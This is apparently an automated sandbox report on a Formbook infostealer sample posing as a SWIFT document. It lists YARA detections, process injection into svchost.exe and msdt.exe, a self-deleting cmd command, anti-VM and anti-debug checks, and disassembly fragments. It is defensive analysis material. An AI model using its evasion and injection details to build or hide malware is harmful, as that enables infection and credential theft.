          Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: classification engineClassification label: mal100.troj.evad.winEXE@7/4@14/9
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_00403461 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403461
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_0040473E GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,0_2_0040473E
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_0040216B CoCreateInstance,MultiByteToWideChar,0_2_0040216B
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5932:120:WilError_01
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile created: C:\Users\user\AppData\Local\Temp\nsuD98E.tmpJump to behavior
          Source: SWIFT 00395_IMG.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile read: C:\Users\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile read: C:\Users\user\Desktop\SWIFT 00395_IMG.exeJump to behavior
          Source: unknownProcess created: C:\Users\user\Desktop\SWIFT 00395_IMG.exe 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe'
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeProcess created: C:\Windows\SysWOW64\svchost.exe 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe'
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\msdt.exe C:\Windows\SysWOW64\msdt.exe
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\SysWOW64\svchost.exe'
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeProcess created: C:\Windows\SysWOW64\svchost.exe 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe' Jump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\SysWOW64\svchost.exe'Jump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
          Source: SWIFT 00395_IMG.exeStatic file information: File size 14050919 > 1048576
          Source: SWIFT 00395_IMG.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
          Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.688349508.0000000005A00000.00000002.00000001.sdmp
          Source: Binary string: msdt.pdbGCTL source: svchost.exe, 00000001.00000003.709271951.0000000005400000.00000004.00000001.sdmp
          Source: Binary string: wntdll.pdbUGP source: SWIFT 00395_IMG.exe, 00000000.00000003.657563874.0000000003200000.00000004.00000001.sdmp, svchost.exe, 00000001.00000002.712731644.000000000391F000.00000040.00000001.sdmp, msdt.exe, 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp
          Source: Binary string: wntdll.pdb source: SWIFT 00395_IMG.exe, 00000000.00000003.657563874.0000000003200000.00000004.00000001.sdmp, svchost.exe, msdt.exe
          Source: Binary string: svchost.pdb source: msdt.exe, 00000007.00000002.920789443.00000000053E7000.00000004.00000001.sdmp
          Source: Binary string: svchost.pdbUGP source: msdt.exe, 00000007.00000002.920789443.00000000053E7000.00000004.00000001.sdmp
          Source: Binary string: msdt.pdb source: svchost.exe, 00000001.00000003.709271951.0000000005400000.00000004.00000001.sdmp
          Source: Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.688349508.0000000005A00000.00000002.00000001.sdmp
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040E0F9 push edi; ret 1_2_0040E0FB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040C349 push ebx; retf 1_2_0040C34A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004143E5 push edi; retf 1_2_004143E6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041B3F2 push eax; ret 1_2_0041B3F8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041B3FB push eax; ret 1_2_0041B462
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041B3A5 push eax; ret 1_2_0041B3F8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041B45C push eax; ret 1_2_0041B462
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414D7E pushad ; ret 1_2_00414D7F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00414FF7 push es; ret 1_2_00414FFC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387D0D1 push ecx; ret 1_2_0387D0E4
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F2D0D1 push ecx; ret 7_2_04F2D0E4
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A6E0F9 push edi; ret 7_2_00A6E0FB
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7B3A5 push eax; ret 7_2_00A7B3F8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A743E5 push edi; retf 7_2_00A743E6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7B3F2 push eax; ret 7_2_00A7B3F8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7B3FB push eax; ret 7_2_00A7B462
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A6C349 push ebx; retf 7_2_00A6C34A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7B45C push eax; ret 7_2_00A7B462
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A74D7E pushad ; ret 7_2_00A74D7F
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7BE30 push ebx; ret 7_2_00A7BE38
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A74FF7 push es; ret 7_2_00A74FFC
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile created: C:\Users\user\AppData\Local\Temp\nspD9BF.tmp\3bypcf8qb.dllJump to dropped file
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion:

          barindex
          Tries to detect virtualization through RDTSC time measurementsShow sources
          Source: C:\Windows\SysWOW64\svchost.exeRDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\svchost.exeRDTSC instruction interceptor: First address: 000000000040896E second address: 0000000000408974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 0000000000A685E4 second address: 0000000000A685EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 0000000000A6896E second address: 0000000000A68974 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004088A0 rdtsc 1_2_004088A0
          Source: C:\Windows\explorer.exe TID: 6780Thread sleep time: -65000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\msdt.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_004059F0 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_004059F0
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_0040659C FindFirstFileA,FindClose,0_2_0040659C
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_004027A1 FindFirstFileA,0_2_004027A1
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\AppData\Local\Temp\nsuD98F.tmpJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\userJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\AppData\Local\Temp\u2xvckwaqakiJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\AppData\Local\Temp\jckq5d4hbdkbi4n7hsrJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\Desktop\SWIFT 00395_IMG.exeJump to behavior
          Source: explorer.exe, 00000004.00000000.691329626.000000000A60E000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000004.00000000.688104249.00000000058C0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
          Source: explorer.exe, 00000004.00000000.688642634.0000000006650000.00000004.00000001.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000004.00000000.691329626.000000000A60E000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000004.00000000.680072965.0000000004710000.00000004.00000001.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
          Source: explorer.exe, 00000004.00000000.688104249.00000000058C0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
          Source: explorer.exe, 00000004.00000000.691742303.000000000A716000.00000004.00000001.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
          Source: explorer.exe, 00000004.00000000.688104249.00000000058C0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
          Source: explorer.exe, 00000004.00000000.691988896.000000000A784000.00000004.00000001.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
          Source: explorer.exe, 00000004.00000000.680130802.0000000004791000.00000004.00000001.sdmpBinary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1H
          Source: explorer.exe, 00000004.00000000.688104249.00000000058C0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
          Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004088A0 rdtsc 1_2_004088A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00409B10 LdrLoadDll,1_2_00409B10
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_10001000 mov eax, dword ptr fs:[00000030h]0_2_10001000
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_022C17B5 mov eax, dword ptr fs:[00000030h]0_2_022C17B5
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_022C19CD mov eax, dword ptr fs:[00000030h]0_2_022C19CD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E138A mov eax, dword ptr fs:[00000030h]1_2_038E138A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03831B8F mov eax, dword ptr fs:[00000030h]1_2_03831B8F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03831B8F mov eax, dword ptr fs:[00000030h]1_2_03831B8F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DD380 mov ecx, dword ptr fs:[00000030h]1_2_038DD380
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852397 mov eax, dword ptr fs:[00000030h]1_2_03852397
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385B390 mov eax, dword ptr fs:[00000030h]1_2_0385B390
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854BAD mov eax, dword ptr fs:[00000030h]1_2_03854BAD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854BAD mov eax, dword ptr fs:[00000030h]1_2_03854BAD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854BAD mov eax, dword ptr fs:[00000030h]1_2_03854BAD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F5BA5 mov eax, dword ptr fs:[00000030h]1_2_038F5BA5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A53CA mov eax, dword ptr fs:[00000030h]1_2_038A53CA
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038A53CA mov eax, dword ptr fs:[00000030h]1_2_038A53CA
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h]1_2_038503E2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h]1_2_038503E2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h]1_2_038503E2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h]1_2_038503E2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h]1_2_038503E2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038503E2 mov eax, dword ptr fs:[00000030h]1_2_038503E2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384DBE9 mov eax, dword ptr fs:[00000030h]1_2_0384DBE9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E131B mov eax, dword ptr fs:[00000030h]1_2_038E131B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382DB40 mov eax, dword ptr fs:[00000030h]1_2_0382DB40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8B58 mov eax, dword ptr fs:[00000030h]1_2_038F8B58
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382F358 mov eax, dword ptr fs:[00000030h]1_2_0382F358
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382DB60 mov ecx, dword ptr fs:[00000030h]1_2_0382DB60
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03853B7A mov eax, dword ptr fs:[00000030h]1_2_03853B7A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03853B7A mov eax, dword ptr fs:[00000030h]1_2_03853B7A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385D294 mov eax, dword ptr fs:[00000030h]1_2_0385D294
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385D294 mov eax, dword ptr fs:[00000030h]1_2_0385D294
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h]1_2_038252A5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h]1_2_038252A5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h]1_2_038252A5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h]1_2_038252A5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038252A5 mov eax, dword ptr fs:[00000030h]1_2_038252A5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383AAB0 mov eax, dword ptr fs:[00000030h]1_2_0383AAB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383AAB0 mov eax, dword ptr fs:[00000030h]1_2_0383AAB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385FAB0 mov eax, dword ptr fs:[00000030h]1_2_0385FAB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852ACB mov eax, dword ptr fs:[00000030h]1_2_03852ACB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852AE4 mov eax, dword ptr fs:[00000030h]1_2_03852AE4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838A0A mov eax, dword ptr fs:[00000030h]1_2_03838A0A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03825210 mov eax, dword ptr fs:[00000030h]1_2_03825210
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03825210 mov ecx, dword ptr fs:[00000030h]1_2_03825210
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03825210 mov eax, dword ptr fs:[00000030h]1_2_03825210
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03825210 mov eax, dword ptr fs:[00000030h]1_2_03825210
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382AA16 mov eax, dword ptr fs:[00000030h]1_2_0382AA16
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382AA16 mov eax, dword ptr fs:[00000030h]1_2_0382AA16
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03843A1C mov eax, dword ptr fs:[00000030h]1_2_03843A1C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03864A2C mov eax, dword ptr fs:[00000030h]1_2_03864A2C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03864A2C mov eax, dword ptr fs:[00000030h]1_2_03864A2C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03829240 mov eax, dword ptr fs:[00000030h]1_2_03829240
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03829240 mov eax, dword ptr fs:[00000030h]1_2_03829240
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03829240 mov eax, dword ptr fs:[00000030h]1_2_03829240
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03829240 mov eax, dword ptr fs:[00000030h]1_2_03829240
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EEA55 mov eax, dword ptr fs:[00000030h]1_2_038EEA55
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B4257 mov eax, dword ptr fs:[00000030h]1_2_038B4257
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DB260 mov eax, dword ptr fs:[00000030h]1_2_038DB260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DB260 mov eax, dword ptr fs:[00000030h]1_2_038DB260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8A62 mov eax, dword ptr fs:[00000030h]1_2_038F8A62
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386927A mov eax, dword ptr fs:[00000030h]1_2_0386927A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385A185 mov eax, dword ptr fs:[00000030h]1_2_0385A185
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0384C182 mov eax, dword ptr fs:[00000030h]1_2_0384C182
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852990 mov eax, dword ptr fs:[00000030h]1_2_03852990
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038561A0 mov eax, dword ptr fs:[00000030h]1_2_038561A0
